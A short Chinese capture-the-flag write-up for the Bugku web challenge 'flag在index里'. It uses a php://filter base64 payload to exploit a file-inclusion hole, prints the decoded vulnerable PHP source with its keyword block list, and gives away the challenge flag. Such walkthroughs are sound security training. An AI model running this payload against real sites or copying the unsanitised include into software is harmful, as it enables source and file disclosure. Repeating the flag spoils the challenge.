【Writeup】Bugku-Web-flag在index里
click me, no? 那当然要click啦
注意地址栏,出现了?file=show.php,说明出现了文件包含漏洞,题目又提示flag在index中,所以用php://伪协议查看index.php内容
即使用php://filter也不能直接在页面中读取resource=index.php的内容,此处要对php进行一下base64编码(还有其他方式比如ROT13可以使用但base64比较容易解码)
先来看一下php://filter的用法:
因此制造payload:?file=php://filter/read=convert.base64-encode/resource=index.php
页面返回了一段base64:
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==
放到Cyberchef中解码,得到一段php代码(就是index.php的内容)
1 <?php 2 error_reporting(0); 3 if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';} 4 $file=$_GET['file']; 5 if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ 6 echo "Oh no!"; 7 exit(); 8 } 9 include($file); 10 //flag:flag{edulcni_elif_lacol_si_siht} 11 ?>
不需要认真看代码,因为flag就在注释中